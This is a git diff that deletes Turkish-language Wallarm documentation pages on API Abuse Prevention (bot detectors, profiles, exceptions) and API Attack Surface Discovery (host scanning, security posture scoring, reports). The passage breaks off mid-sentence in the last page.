list](#exceptions-for-legitimate-automation) aracılığıyla iyi botların IP’lerini işaretlemeye ek olarak, taleplerin hedeflediği URL’ler ve belirli istek türleri için (örneğin belirli başlıkları içeren istekler) bot korumasını devre dışı bırakabilirsiniz. - -Bunu yapmak için Wallarm, **Set API Abuse Prevention mode** kuralını sağlar (node sürümü 4.8 ve üzeri desteklidir). - -**Kuralın oluşturulması ve uygulanması** - -Belirli bir URL veya istek türü için bot korumasını devre dışı bırakmak için: - ---8<-- "../include/rule-creation-initial-step.md" - -1. **Fine-tuning attack detection** → **Override API abuse profiles** seçin. -1. **If request is** içinde, kuralın uygulanacağı istekleri ve/veya URL’leri [tanımlayın](../user-guides/rules/rules.md#uri-constructor). Kuralı belirli bir branch, hit veya endpoint için başlattıysanız, kapsam bunlar tarafından tanımlanacaktır - gerekirse daha fazla koşul ekleyebilirsiniz. -1. İstenen modu seçin: - - * **Default** - tanımlanan kapsam (belirli URL veya istek) için botlara karşı koruma, genel API Abuse Prevention [profilleri](setup.md#creating-profiles) tarafından tanımlanan olağan şekilde çalışacaktır. - * **Do not check for bot activity** - tanımlanan URL ve/veya istek türü için bot etkinliği kontrolü gerçekleştirilmeyecektir. - -1. İsteğe bağlı olarak, comment içinde bu URL/istek türü için kural oluşturma nedenini belirtin. - -Kuralı silmeden URL ve/veya istek türü için istisnayı geçici olarak devre dışı bırakabileceğinizi unutmayın: bunun için **Default** modunu seçin. Daha sonra dilediğiniz an **Do not check for bot activity** seçeneğine geri dönebilirsiniz. - -**Kural örnekleri** - -**İstek başlıklarına göre meşru botun işaretlenmesi** - -Uygulamanızın, birden fazla IP’den istek gönderen Klaviyo pazarlama otomasyon aracıyla entegre olduğunu varsayalım. Bu nedenle, belirli URI’ler için `Klaviyo/1.0` user agent’ından gelen GET isteklerinde otomatik (bot) etkinlikleri kontrol etmemeyi ayarlıyoruz: - -![Belirli başlıklara sahip istekler için bot etkinliğini kontrol etme](../images/user-guides/rules/api-abuse-url-request.png) - -**Test endpoint’i için bot korumasının devre dışı bırakılması** - -Diyelim ki uygulamanıza ait bir endpoint’iniz var. Uygulama bot etkinliklerinden korunmalı ancak test endpoint’i istisna olmalıdır. Ayrıca, API envanteriniz [**API Discovery**](../api-discovery/overview.md) modülü tarafından keşfedilmiştir. - -Bu durumda kuralı **API Discovery** endpoint listesinden oluşturmak daha kolaydır. Oraya gidin, endpoint’inizi bulun ve sayfasından kural oluşturmayı başlatın: - -![API Discovery endpoint’i için Set API Abuse Prevention mode oluşturma](../images/user-guides/rules/api-abuse-url.png) - -## Profil devre dışı bırakma ve silme - -Devre dışı bırakılan profiller, **API Abuse Prevention** modülünün trafik analizi sırasında kullanmadığı ancak profil listesinde görüntülenen profillerdir. Devre dışı bırakılmış profilleri dilediğiniz an yeniden etkinleştirebilirsiniz. Etkin profil yoksa, modül kötü amaçlı botları engellemez. - -Silinen profiller, geri yüklenemeyen ve **API Abuse Prevention** modülünün trafik analizi sırasında kullanmadığı profillerdir. - -Profil menüsünde **Disable** ve **Delete** seçeneklerini bulabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/api-abuse-prevention/exploring-bots.md b/docs/latest-tr/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index e2a396c084..0000000000 --- a/docs/latest-tr/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1,66 +0,0 @@ -[link-attacks]: ../user-guides/events/check-attack.md -[link-sessions]: ../api-sessions/overview.md -[link-api-abuse-prevention]: ../api-abuse-prevention/overview.md -[img-api-sessions-api-abuse]: ../images/api-sessions/api-sessions-api-abuse.png - -# Bot Etkinliğini Keşfetme - -[API Abuse Prevention](../api-abuse-prevention/overview.md), kötü amaçlı bot etkinliğini ML algoritmalarına dayanarak tanımlar. Bu tür saldırılar tek bir engellenen isteğe bakılarak analiz edilemez. Bu nedenle Wallarm platformunun bot etkinliğini farklı açılardan araştırmak için geniş bir araç yelpazesi sunması esastır. - -## API kötüye kullanım panoları - -API Abuse Prevention, son 30 güne ait bot etkinliği verilerini **API Abuse Prevention** bölümü → **Statistics** sekmesinde kullanışlı biçimde görselleştirir. Zaman çizelgesi diyagramını kullanarak bot etkinliğindeki ani artışları kolayca belirleyebilirsiniz. Ek **Top Attackers** ve **Top Targets** widget’ları en aktif botları ve en çok saldırıya uğrayan API’leri ile uygulamaları belirlemenize olanak tanır. Kontrol panelindeki öğeye tek tıkla **Attacks** sekmesinde bu bot etkinliklerine derinlemesine inebilirsiniz. - -Ayrıca alt kısımdaki **Behavioral patterns** bölümünde bot davranışlarını analiz edebilirsiniz. Her bir dedektör hakkında ayrıntılı bilgi edinin ve bot eylemlerini belirlemek için birlikte nasıl hareket ettiklerini görün. Bu widget ve sağ üstteki [deny- veya graylisted](setup.md#creating-profiles) IP sayaçları sizi, botun IP’sinin engelleme listesine ne zaman ve hangi süreyle alındığını kontrol edebileceğiniz **IP Lists** [geçmişine](../user-guides/ip-lists/overview.md#ip-list-history) götürür. - -![API abuse prevention statistics](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics.png) - -Herhangi bir bot etkinliği tespit edilmediyse, **Legitimate traffic** durumu görüntülenir: - -![API abuse prevention statistics - no bots detected](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics-nobots.png) - -Bot tespitinin trafiğe bağlı olduğunu unutmayın – yeterli trafik yoksa, API Abuse Prevention bunu **Insufficient data to build statistics** mesajıyla bildirir. **Profiles** sekmesinde profil başına trafiği [kontrol edebilirsiniz](setup.md#per-profile-traffic). - -## Attacks - -Wallarm Console → **Attacks** bölümünde botlar tarafından gerçekleştirilen saldırıları inceleyebilirsiniz. `api_abuse`, `account_takeover`, `scraping` ve `security_crawlers` arama anahtarlarını kullanın veya **Type** filtresinden uygun seçenekleri seçin. - -![API Abuse events](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -Bot IP’si API Abuse Prevention tarafından denylist’e alınsa bile, varsayılan olarak, Wallarm ondan kaynaklanan engellenen isteklere ilişkin istatistikleri toplar ve [gösterir](../user-guides/ip-lists/overview.md#requests-from-denylisted-ips). - -**Dedektör değerleri** - -Tetiklenen [dedektörler](overview.md#how-api-abuse-prevention-works) listesine ve belirli anomaliler için normal davranıştan sapmanın ne kadar büyük olduğunu gösteren değerlerine dikkat edin. Örneğin yukarıdaki şekilde, normal `< 10` iken değeri `326` olan **Query abuse**, normal `> 1` iken değeri `0.05` olan **Request interval** ve diğerleri gösterilmektedir. - -**Isı haritaları** - -Bot bilgileri üç ısı haritasında görselleştirilir. Tüm ısı haritalarında, balon ne kadar büyük, rengine göre kırmızıya ve sağ üst köşeye ne kadar yakınsa, bu IP’nin bot olduğuna inanmak için o kadar çok neden vardır. - -Isı haritalarında ayrıca mevcut botunuzu (**this bot**) son 24 saat içinde aynı uygulamaya saldıran diğer botlarla karşılaştırabilirsiniz. Çok fazla bot saldırdıysa, yalnızca en şüpheli 30’u görüntülenir. - -Isı haritaları: - -* **Performance**, mevcut ve diğer tespit edilen botların istek benzersiz olmama durumu, zamanlanmış istekler, RPS ve istek aralığı dahil performansını görselleştirir. -* **Behavior**, mevcut ve diğer tespit edilen botların şüpheli davranış puanını; şüpheli davranış derecelerini, kritik veya hassas uç noktalara yapılan istek sayısını, RPS’lerini ve onları bot olarak tespit eden bot dedektörü sayısını içerecek şekilde görselleştirir. -* **HTTP errors**, hedefledikleri farklı uç nokta sayısı, yaptıkları güvensiz istek sayısı, RPS’leri ve aldıkları hata yanıt kodlarının sayısı dahil bot etkinliklerinin neden olduğu API hatalarını görselleştirir. - - - -## API Sessions ile API kötüye kullanım tespit doğruluğunu doğrulama - ---8<-- "../include/bot-attack-full-context.md" \ No newline at end of file diff --git a/docs/latest-tr/api-abuse-prevention/overview.md b/docs/latest-tr/api-abuse-prevention/overview.md deleted file mode 100644 index 7d03e1c7a4..0000000000 --- a/docs/latest-tr/api-abuse-prevention/overview.md +++ /dev/null @@ -1,57 +0,0 @@ -# API Abuse Prevention - -Wallarm platformunun **API Abuse Prevention** modülü, API’lerinizi hedef alan kimlik bilgisi doldurma, sahte hesap oluşturma, içerik kazıma (scraping) ve diğer kötü amaçlı eylemleri gerçekleştiren botların tespitini ve etkisizleştirilmesini sağlar. - -## API Abuse Prevention tarafından engellenen otomatik tehditler - -**API Abuse Prevention** modülü varsayılan olarak aşağıdaki bot türlerini tespit eder: - -* [Şüpheli API etkinliği](../attacks-vulns-list.md#suspicious-api-activity) -* [Hesap ele geçirme](../attacks-vulns-list.md#account-takeover) -* [Güvenlik tarayıcıları](../attacks-vulns-list.md#security-crawlers) -* [Scraping](../attacks-vulns-list.md#scraping) -* [Sınırsız kaynak tüketimi](../attacks-vulns-list.md#unrestricted-resource-consumption) (en az [NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.3.0 gerektirir ve şu an için [Native Node](../installation/nginx-native-node-internals.md#native-node) tarafından desteklenmemektedir) - -[API kötüye kullanım profili kurulumu](../api-abuse-prevention/setup.md#creating-profiles) sırasında, **API Abuse Prevention** modülünü tüm bot türlerine karşı koruma sağlayacak şekilde yapılandırabilir veya yalnızca belirli tehditlerle sınırlayabilirsiniz. - -## API Abuse Prevention nasıl çalışır? - -**API Abuse Prevention** modülü, ML tabanlı yöntemlerin yanı sıra istatistiksel ve matematiksel anomali arama tekniklerini ve doğrudan kötüye kullanım vakalarını içeren karmaşık bir bot algılama modeli kullanır. Modül, normal trafik profilini kendi kendine öğrenir ve belirgin şekilde farklı davranışları anomali olarak tanımlar. - -API Abuse Prevention, kötü amaçlı botları [oturumları içinde](../api-sessions/overview.md#api-sessions-and-api-abuse-prevention) belirlemek için birden çok dedektör kullanır. Modül, hangilerinin işaretlenmesinde hangi dedektörlerin rol oynadığına dair istatistikler sağlar. - -Aşağıdaki dedektörler devreye girebilir: - -* **Kötü user-agent** isteklerde yer alan `User-Agent` başlıklarını analiz eder. Bu dedektör; tarayıcılar, kazıyıcılar (scraper) ve güvenlik denetleyicilerine ait olanlar dahil belirli imzaları kontrol eder. -* **Kimlik doğrulama kötüye kullanımı** anormal davranışı belirlemek için önceden tanımlı eşik ile kimlik doğrulama isteklerinin oranını ve bir aralıktaki istek sayısını analiz eder. Yanlış pozitifleri önlemek için uygulamanın toplam kimlik doğrulama istek hacmini de dikkate alır. -* **İstek benzersizliği** bir oturum sırasında ziyaret edilen benzersiz uç noktaların sayısını analiz eder. Bir istemci sürekli olarak örneğin %10 veya daha az benzersiz uç noktayı ziyaret ediyorsa, insan kullanıcıdan ziyade bot olma olasılığı yüksektir. -* **Şüpheli davranış puanı** bir oturum sırasında gerçekleştirilen olağan ve olağan dışı iş mantığı API isteklerini analiz eder. -* **İş mantığı puanı** uygulamanızın davranışı bağlamında kritik veya hassas API uç noktalarının kullanımını analiz eder. -* **İstek oranı** belirli bir zaman aralığında yapılan istek sayısını analiz eder. Bir API istemcisi, belirli bir eşiğin üzerinde sürekli olarak yüksek oranda istek yapıyorsa, insan kullanıcıdan ziyade bot olma olasılığı yüksektir. -* **İstek aralığı** ardışık istekler arasındaki zaman aralıklarını analiz ederek bot davranışının göstergesi olan rastgelelik eksikliğini bulur. -* **Sorgu kötüye kullanımı** önceden tanımlanmış bir eşiği aşan istek hacmini anomali olarak analiz eder. Bir parametreyi değiştirerek yapılan sorgularda eşiği aşan istemciler de anomali sayılır. Ayrıca dedektör, bot etkinliğini belirlemek için istemci sorgu kalıplarını normal davranışla karşılaştırır. -* **Eski tarayıcı** isteklerde kullanılan tarayıcı ve platformu analiz eder. İstemci güncel olmayan veya desteklenmeyen bir tarayıcı ya da platform kullanıyorsa, insan kullanıcıdan ziyade bot olma olasılığı yüksektir. -* **Geniş kapsam** IP etkinliğinin genişliğini analiz ederek davranışsal olarak tarayıcı benzeri botları belirler. -* **IP rotasyonu** saldırganların bir IP havuzu kullandığı [hesap ele geçirme](../attacks-vulns-list.md#account-takeover) saldırılarının parçası olan istekleri analiz eder. -* **Oturum rotasyonu** saldırganların bir oturum havuzu kullandığı [hesap ele geçirme](../attacks-vulns-list.md#account-takeover) saldırılarının parçası olan istekleri analiz eder. -* **Kalıcı ATO** uzun bir zaman dilimine yayılıp kademeli gerçekleşen [hesap ele geçirme](../attacks-vulns-list.md#account-takeover) saldırılarının parçası olan istekleri analiz eder. -* **Kimlik bilgisi doldurma** farklı kimlik bilgileriyle yinelenen oturum açma denemelerini, istek özniteliklerini sabit tutarak içeren [hesap ele geçirme](../attacks-vulns-list.md#account-takeover) saldırılarının parçası olan istekleri analiz eder ([kimlik bilgisi doldurma](../attacks-vulns-list.md#credential-stuffing)). -* **Düşük frekanslı kimlik bilgisi doldurma** tespit edilmekten kaçınmak için oturum veya istemci başına giriş denemelerini kasten sınırlayan, ardından API etkileşimi olmayan izole ya da minimal kimlik doğrulama denemeleriyle karakterize [hesap ele geçirme](../attacks-vulns-list.md#account-takeover) saldırılarının parçası olan istekleri analiz eder ([kimlik bilgisi doldurma](../attacks-vulns-list.md#credential-stuffing)). -* **Yanıt süresi anomalisi** otomatik kötüye kullanım veya arka uç sömürü girişimlerini işaret edebilecek API yanıt gecikmesindeki anormal kalıpları tanımlar (bir varyantı olarak [sınırsız kaynak tüketimi](../attacks-vulns-list.md#unrestricted-resource-consumption) saldırısı olarak işaretlenir). -* **Aşırı istek tüketimi** arka uç işlem kaynaklarının kötüye kullanımı/maksadını aşan kullanımını gösterebilecek şekilde API’ye anormal derecede büyük istek yükleri gönderen istemcileri tanımlar (bir varyantı olarak [sınırsız kaynak tüketimi](../attacks-vulns-list.md#unrestricted-resource-consumption) saldırısı olarak işaretlenir). -* **Aşırı yanıt tüketimi** yaşam döngüleri boyunca aktarılan toplam yanıt verisi hacmine göre şüpheli oturumları işaretler. Bireysel isteklere odaklanan dedektörlerden farklı olarak, bu dedektör yavaş damlatma veya dağıtık scraping saldırılarını belirlemek için [tüm bir oturum](../api-sessions/overview.md) boyunca yanıt boyutlarını toplar (bir varyantı olarak [sınırsız kaynak tüketimi](../attacks-vulns-list.md#unrestricted-resource-consumption) saldırısı olarak işaretlenir). - -!!! info "Güven" - Dedektörlerin çalışması sonucunda, her [tespit edilen](../api-abuse-prevention/exploring-bots.md) bot için bir **güven yüzdesi** oluşur: bunun bir bot olduğundan ne kadar emin olduğumuz. Her bot türünde dedektörlerin göreli önemi / oy sayısı farklıdır. Dolayısıyla güven yüzdesi, bu bot türündeki tüm olası oylardan (çalışan dedektörlerin sağladığı) alınan oyların oranıdır. - -![API kötüye kullanım önleme istatistikleri](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-prevention-statistics-detectors.png) - -Bir veya birden fazla dedektör [bot saldırı işaretlerine](#automated-threats-blocked-by-api-abuse-prevention) işaret ederse, modül anomali trafiğinin kaynağını 1 saatliğine deny listesine veya gri listeye ekler. Wallarm, son 30 gün içinde deny ve gri listeye alınan bot IP’lerini sayar ve bu miktarların bir önceki 30 günlük döneme kıyasla yüzde olarak ne kadar arttığını veya azaldığını gösterir. - -Çözüm, kötü amaçlı bot eylemleri olarak atfetmeden ve kaynaklarını engellemeden önce trafik anomalilerini derinlemesine gözlemler. Metrik toplama ve analiz zaman aldığından, modül ilk kötü amaçlı istek geldiği anda kötü amaçlı botları gerçek zamanlı olarak engellemez, ancak ortalamada anormal etkinliği önemli ölçüde azaltır. - -## Kurulum - -**API Abuse Prevention** modülü ile kötü amaçlı bot tespiti ve azaltımına başlamak için bir veya daha fazla [API kötüye kullanım profili](../api-abuse-prevention/setup.md#creating-profiles) oluşturup yapılandırın. - -API Abuse Prevention işlevselliğini daha hassas hale getirmek için, istekleri [oturumlar](../api-sessions/overview.md) halinde birleştirirken kimliği doğrulanmamış trafiğin daha iyi tanımlanması amacıyla [JA3 fingerprinting](../admin-en/enabling-ja3.md) özelliğini etkinleştirmeniz önerilir. \ No newline at end of file diff --git a/docs/latest-tr/api-abuse-prevention/setup.md b/docs/latest-tr/api-abuse-prevention/setup.md deleted file mode 100644 index 889af91d38..0000000000 --- a/docs/latest-tr/api-abuse-prevention/setup.md +++ /dev/null @@ -1,68 +0,0 @@ -# API Abuse Prevention Kurulumu - -Bu makale, kötü niyetli botları tespit edip azaltmak ve meşru faaliyetlerin engellenmesini önlemek için [API Abuse Prevention](../api-abuse-prevention/overview.md) modülünün nasıl etkinleştirileceğini ve yapılandırılacağını açıklar. - -## Etkinleştirme - -API Abuse Prevention modülü, **Advanced API Security** [abonelik planında](../about-wallarm/subscription-plans.md#core-subscription-plans) mevcuttur. Varsayılan olarak devre dışıdır. - -API Abuse Prevention'ı etkinleştirmek için: - -1. Wallarm node'unuzun 4.2 veya daha yeni olduğundan emin olun. -1. Wallarm Console → **API Abuse Prevention** içinde, en az bir [API Abuse profili](#creating-profiles) oluşturun veya etkinleştirin. - - -## Profiller oluşturma - -API kötüye kullanım profilleri, Wallarm'ın **API Abuse Prevention** özelliğinin kötü niyetli botları nasıl tespit edip etkisizleştireceğini yapılandırmak için kullanılır. Farklı uygulamalar için farklı profiller oluşturabilirsiniz. Her uygulamanın yalnızca bir ilişkilendirilmiş profili olabilir. - -Bir profil, hangi bot türlerine karşı korunulacağını, her bot türünün hangi duyarlılıkla tespit edileceğini ve bu botun etkinliklerine verilecek tepkiyi tanımlar. - -Bir API kötüye kullanım profili oluşturmak için: - -1. **API Abuse Prevention** bölümünde, **Profiles** sekmesine geçin. -1. **Create profile**'ı tıklayın. -1. Korunmak istediğiniz [otomatik tehditleri](../api-abuse-prevention/overview.md#automated-threats-blocked-by-api-abuse-prevention) seçin, **Reaction** değerini belirleyin: - - * **Disabled** - Wallarm bu bot türüne karşı koruma sağlamaz. - * **Register attack** - tespit edilen kötü niyetli bot etkinlikleri Wallarm Console'un [**Attacks**](../user-guides/events/check-attack.md) bölümünde görüntülenir, istekler engellenmez. - - Bu tür olay ayrıntılarından, **Add source IP to denylist** düğmesiyle botu hızlıca engelleyebilirsiniz. IP kalıcı olarak denylist'e eklenir, ancak **IP Lists** bölümünde silebilir veya listede kalma süresini değiştirebilirsiniz. - - * **Denylist IP** veya **Graylist IP** - botun IP'si seçilen süre için ilgili listeye eklenir ve istekler engellenir. Denylist ile graylist arasındaki farka dair daha fazlasını [burada](../user-guides/ip-lists/overview.md) öğrenin. - -1. Gerekirse her bot türü için tespit **Sensitivity** ayarını değiştirin: - - * **Paranoid** - daha yüksek duyarlılık, uygulamalarınıza DAHA AZ botun erişeceği anlamına gelir, ancak yanlış pozitifler nedeniyle bazı meşru istekler engellenebilir. - * **Normal** (varsayılan, önerilir) - pek çok yanlış pozitifi önlemek ve çoğu kötü niyetli bot isteğinin API'lere ulaşmasını engellemek için en uygun kuralları kullanır. - * **Safe mode** - daha düşük duyarlılık, uygulamalarınıza DAHA FAZLA botun erişeceği anlamına gelir, ancak bu durumda herhangi bir meşru istek düşürülmez. - - ![API Abuse prevention profili](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -1. Uygulama(ları) seçin. -1. **Analyze behavior by** parametresini ayarlayın: - - * **Applications** - uygulamanın tüm alan adlarına gelen istekleri birlikte analiz eder. - * **Domains** - uygulamanın her bir alan adına gelen istekleri ayrı ayrı analiz eder. - -Oluşturulduktan sonra, profiller seçilen türdeki kötü niyetli botlara karşı seçtiğiniz uygulamaları korur. Koruma ve veri analizi, profilin uygulama trafiğinin varlığına ve miktarına bağlıdır. Profil başına duruma dikkat edin: - -![API Abuse prevention - profiller](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-profiles-per-profile-status.png) - -## Profilleri devre dışı bırakma ve silme - -Devre dışı profiller, trafik analizi sırasında **API Abuse Prevention** modülünün kullanmadığı ancak profil listesinde gösterilmeye devam edenlerdir. Devre dışı profilleri dilediğiniz an yeniden etkinleştirebilirsiniz. Etkin profil yoksa, modül kötü niyetli botları engellemez. - -Silinmiş profiller geri yüklenemez ve **API Abuse Prevention** modülü tarafından trafik analizi sırasında kullanılmaz. - -Profil menüsünde Disable ve Delete seçeneklerini bulabilirsiniz. - -## İstisnalar - -[İstisnalar yaparak](exceptions.md) API Abuse Prevention'ı ince ayarlarla özelleştirebilirsiniz: meşru botları işaretlemek ve belirli hedef URL'ler ile istek türleri için bot korumasını devre dışı bırakmak. - -## Oturum mekanizmasını iyileştirme - -API Abuse Prevention, bot davranışını analiz ederken [API Sessions](../api-sessions/overview.md) mekanizmasını kullanır. - -API Abuse Prevention işlevselliğini daha hassas hale getirmek için, istekleri oturumlara birleştirirken kimliği doğrulanmamış trafiğin daha iyi tanımlanması amacıyla [JA3 fingerprinting](../admin-en/enabling-ja3.md) özelliğini etkinleştirmeniz önerilir. \ No newline at end of file diff --git a/docs/latest-tr/api-attack-surface/api-surface.md b/docs/latest-tr/api-attack-surface/api-surface.md deleted file mode 100644 index 28ac529a6a..0000000000 --- a/docs/latest-tr/api-attack-surface/api-surface.md +++ /dev/null @@ -1,109 +0,0 @@ -[link-aasm-security-issue-risk-level]: security-issues.md#issue-risk-level -[link-integrations-intro]: ../user-guides/settings/integrations/integrations-intro.md -[link-integrations-email]: ../user-guides/settings/integrations/email.md#setting-up-integration - -# API Attack Surface Discovery - -Wallarm'ın [API Attack Surface Management](overview.md) çözümünün bir bileşeni olan **API Attack Surface Discovery** (**AASD**), seçtiğiniz alan adlarını tarayarak tüm harici host'larını ve bunların API'lerini keşfeder, Web ve API tabanlı saldırılara karşı korumalarını değerlendirir ve eksik WAF/WAAP çözümlerini belirler. Wallarm içinde abone olarak çalışır - herhangi bir şey dağıtmanız gerekmez. Bu makale bileşene genel bir bakış sunar. - -![API Attack Surface Discovery](../images/api-attack-surface/aasm-api-surface.png) - -## Ele alınan konular - -### Sağlanan yetenekler - -Kuruluşunuzun harici API'lerinin tam listesini bilmek, izlenmeyen veya belgelenmemiş API'lerin kötü amaçlı saldırılar için potansiyel giriş noktaları haline gelebileceği güvenlik risklerini azaltmanın ilk adımıdır. - -Wallarm'ın **API Attack Surface Discovery** bileşeni aşağıdakileri sağlayarak bu sorunları çözmeye yardımcı olur: - -* [Seçili alan adlarınız](setup.md) için harici host'ların otomatik tespiti. -* Bulunan host'ların açık portlarının otomatik tespiti. -* Bulunan host'ların API'lerinin otomatik tespiti. - - Tespit edilebilecek **API türleri** (protokoller): JSON-API, GraphQL, XML-RPC, JSON-RPC, OData, gRPC, WebSocket, SOAP, WebDav, HTML WEB. - - HTML WEB — tarayıcılarla insan erişimine yönelik tasarlanmış bir HTML Web sayfası. Statik bir HTML Web sayfası olabilir ya da API'lere erişebilen bir uygulamanın tek bir HTML sayfası olabilir. - -* Bulunan host'lar için otomatik [security posture](#security-posture) değerlendirmesi. -* Tüm API yüzeyinin genel WAAP skoru. -* Güvenlik satıcısı, veri merkezi ve konuma göre varlık özetleri. - - Bir host'un birden fazla IP adresi olabileceğinden, varlık istatistikleri veri merkezleri ve coğrafi konum bazında host bazında değil IP adresi bazında değerlendirilir. CDN'lerin kullanımı nedeniyle varlıkların konumu temsil niteliği taşımayabilir. - -* Bulunan host'lar için güvenlik sorunlarının otomatik tespiti. - -Tüm bunlara Wallarm içinde bileşene abone olarak sahip olursunuz - herhangi bir dağıtım yapmanız gerekmez ve analiz edilmiş verilere anında erişirsiniz. - -### Eski Scanner'ın değiştirilmesi - -API Attach Surface Discovery (AASD) yetenekleri, eski Wallarm Scanner'ın tüm işlevselliğini kapsadığından ve - [Security Issues](security-issues.md) ile birlikte - çok daha fazlasını sunduğundan, 7 Mayıs 2025 itibarıyla Scanner devre dışı bırakılmıştır. - -![Old Scanner](../images/user-guides/scanner/check-scope.png) - -Eski Scanner'ın devre dışı bırakılması şunları içerir: - -* Eski Scanner'ı kullanan tüm müşterilere AASD erişimi sağlanması -* Eski Scanner'daki tüm konfigürasyonun Wallarm destek tarafından AASD'ye taşınması -* AASD tarafından host ve API'lerin otomatik olarak yeniden keşfedilmesi ve bunlara ilişkin genişletilmiş verilerin sunulması -* Host ve API'ler için otomatik güvenlik sorunu tespiti -* 7 Mayıs 2025'ten önce eski Scanner tarafından bulunan zafiyetler, [data retention policy](../about-wallarm/data-retention-policy.md) uyarınca Vulnerabilities bölümünde gösterilmeye devam eder - -## Bulunan host'lara ilişkin veriler - -Alan adlarınız için host'lar bulunduğunda, Wallarm Console içinde **API Attack Surface** bölümüne gidin. Listeden host'a tıklayarak şunları görün: - -* Host için bulunan açık portlar -* Host için bulunan API'ler -* Host'un [değerlendirilen](#security-posture) WAAP skoruna ilişkin ayrıntılar - -
              - -
              - -
              -
              - -## Security posture - -Wallarm, harici ağ çevrenizin security posture durumunu otomatik olarak değerlendirir ve durumunu 0 (en kötü) ile 100 (en iyi) koruma arasında **Total score** olarak yansıtır. - -![API yüzeyi - koruma skoru](../images/api-attack-surface/aasm-api-surface-protection-score.png) - -Toplam skor, aşağıdakileri içeren karmaşık, tescilli bir formülle hesaplanır: - -* **WAAP kapsam skoru**, harici web ve API servislerinin WAF/WAAP çözümleriyle kapsanmasını yansıtır. Skor, WAF/WAAP güvenliğiyle korunan HTTP/HTTPS portlarının payı olarak hesaplanır. -* **Ortalama WAAP skoru**, harici host'ların web ve API saldırılarına karşı dayanıklılığını temsil eder. Skor, AASM'nin engelleme modunda aktif WAAP çözümleri belirlediği ve WAAP skorunun hatasız değerlendirildiği tüm host'lar arasında ortalama skor olarak hesaplanır. - - Belirli bir uç noktanın WAAP skoru, Wallarm tarafından test edilmesinin sonucudur ve şu şekilde hesaplanır: - - ``` - ((AppSec + FalsePositive) / 2 + APISec) / 2 - ``` - - * `AppSec` - SQL injection, XSS ve komut enjeksiyonu gibi web saldırılarına karşı dayanıklılık. - * `APISec` - GraphQL, SOAP ve gRPC protokollerini hedefleyenler dahil API saldırılarına karşı dayanıklılık. - * `FalsePositive` - meşru istekleri yanlışlıkla tehdit olarak algılamadan doğru şekilde izin verme yeteneği. - - Her host için, ayrıntılı WAAP skoru değerlendirme raporunu PDF formatında indirebilirsiniz. - -* **Ek metrikler** olarak TLS kapsamı, güvenlik sorunlarının varlığı ve tespit edilen güvenlik sorunları. - -## API saldırı yüzeyi raporları - -Alan adlarınız için keşfedilen harici host'lar ve onların API'leri hakkında ayrıntılı bir DOCX raporu alabilirsiniz. Bu rapor ayrıca bu API'ler için tespit edilen [güvenlik sorunları](security-issues.md) ile ilgili seçeceğiniz bilgileri de içerecektir. - -Bunun yanı sıra, API yüzeyiniz hakkında tablo görünümünde (CSV) bilgi alabilirsiniz; şu şekilde düzenlenmiş: - -* Host'lar (her host için bir satır) -* Portlar (her port için bir satır) -* API'ler (her API için bir satır) - -![API yüzeyi - raporlar](../images/api-attack-surface/aasm-reports.png) - -Bir diğer seçenek de, makine tarafından okunabilir formatta API yüzeyi hakkında bilgiler içeren JSON rapordur. - -Güvenlik sorunları hakkında [ayrı bir rapor](security-issues.md#security-issue-reports) da alabilirsiniz. - -## Bildirimler - ---8<-- "../include/api-attack-surface/aasm-notifications.md" \ No newline at end of file diff --git a/docs/latest-tr/api-attack-surface/overview.md b/docs/latest-tr/api-attack-surface/overview.md deleted file mode 100644 index 694f0bd8ce..0000000000 --- a/docs/latest-tr/api-attack-surface/overview.md +++ /dev/null @@ -1,58 +0,0 @@ -# API Attack Surface Management - -Wallarm'ın **API Attack Surface Management** (**AASM**) çözümü, API ekosistemine özel tasarlanmış ajan gerektirmeyen bir tespit çözümüdür; harici ana makineleri ve bunların API'lerini keşfetmek, eksik WAF/WAAP çözümlerini belirlemek ve API sızıntıları ile diğer güvenlik açıklarını azaltmak için tasarlanmıştır. - -API Attack Surface Management şunları içerir: - -* [API Attack Surface Discovery (AASD)](api-surface.md) -* [Güvenlik Sorunları Tespiti](security-issues.md) - -![AASM](../images/api-attack-surface/aasm.png) - -## Nasıl çalışır - -API Attack Surface Management, aşağıdaki bölümlerde açıklanan birden çok otomatik etkinlik sağlar. - -### Adım 1: Harici API saldırı yüzeyi keşfi - -* [Keşfeder](api-surface.md) harici ana makineleri ve bunların API'lerini (barındırma yapan ör. CDN, IaaS veya PaaS sağlayıcıları dahil). -* IP çözümlemesine dayanarak coğrafi konumları ve veri merkezlerini tanımlar. -* Bir kuruluşun kullanmakta olduğu muhtemel API protokollerine (JSON-API, GraphQL, XML-RPC, JSON-RPC, OData, gRPC, WebSocket, SOAP, WebDav, HTML WEB ve daha fazlası) ilişkin içgörüler sunar. -* İstemeden herkese açık hale getirilmiş özel API spesifikasyonlarını ortaya çıkarır. -* Geliştirme veya dağıtım sırasında eklenen yeni API'leri, gölge API'leri ve yetkisiz uç noktaları tespit etmek için harici API saldırı yüzeyindeki değişiklikleri sürekli izler. -* API saldırı yüzeyinizdeki keşif sonuçları ve değişiklikler hakkında sizi [bildirimlerle](setup.md#notifications) bilgilendirir. - -### Adım 2: WAF kapsam keşfi ve testleri - -* API'lerin WAF/WAAP ile korunup korunmadığını [keşfeder](api-surface.md). -* WAF/WAAP'ların algılamak üzere yapılandırıldığı tehdit türlerini test eder. -* Keşfedilen her uç nokta için bir [güvenlik puanı](api-surface.md#security-posture) hesaplar. -* WAF yapılandırmalarındaki boşlukları belirler ve raporlar; örneğin OWASP Top 10 güvenlik açıkları için eksik kurallar veya BOLA ve kimlik bilgisi doldurma (credential stuffing) gibi modern API'ye özgü tehditlere yönelik kapsama eksikliği. - -### Adım 3: Otomatik API sızıntısı ve güvenlik açığı tespiti - -* Harici saldırı yüzeyi haritası keşfedildikten sonra, keşfedilen uygulama ve API'lerle ilgili [API sızıntılarını ve güvenlik açıklarını keşfetmeye](security-issues.md) başlar. -* Güvenlik açıklarını ciddiyetine göre izler ve sınıflandırır; yanlış yapılandırmalar, zayıf şifreleme veya güncel olmayan bağımlılıklar gibi sorunları kategorize ederek düzeltme çalışmalarına 